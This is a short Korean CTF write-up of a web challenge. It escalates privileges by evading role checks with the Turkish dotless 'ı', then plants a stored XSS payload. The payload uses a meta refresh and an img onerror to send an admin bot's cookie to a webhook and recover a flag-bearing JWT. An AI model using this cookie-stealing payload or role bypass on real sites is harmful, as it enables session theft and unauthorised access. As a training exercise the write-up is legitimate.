/Register 후 화면

uuid / MEMBER
JWT 문제임을 코드상에서 확인할 수 있었다 따라서
JWT.io 에서 디코딩해보았다

role 과 hasperm 에 대하여 정리하면 아래와 같다.
role = "ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"
hasPerm : 글 쓸 권한
inspector의 경우 신고를 통해 글을 지울 수 있다.
지우는 과정에서 uuid: {flag} , admin 권한을 가진 쿠키를 든 봇이 방문하여 삭제한다.
글에 xss 를 삽입하여 쿠키를 webhook으로 빼낸후 jwt 디코딩을 통해 flag를 얻을 수 있을 것같다.
그럼 우선 글 쓸 권한과 inspector 가 될 방법을 찾아야한다.
inspector는 i -> ı (터키어) 로 우회가 가능했다. 그럼 글 쓸 권한을 얻으면 된다.
admin 도 마찬가지로 i -> ı (터키어) 로 우회가 가능했다.

admin권한을 얻어 내 uuid에 write permission을 부여하였다.

이제 inspector이 권한과 글 쓸 권한을 얻을 방법을 찾았다. 신고를 통해 flag가 든 jwt를 탈취하는 xss payload만 작성하면 된다.
아래의 페이로드로 글을 적는다.
payload
<meta/http-equiv="refresh"/content="0; url=/admin/test/?title=a&content=%3Cimg%20src=x%20onerror=window.location=`{webhook}?${{document.cookie}}`%3E">
/report/83722d36-e91e-47ed-b600-eb5f4f134e57
post-id를 추출해 여기로 get요청을 보내면 webhook으로 jwt가 온다.
이를 해독하면 플래그를 얻을 수 있었다.
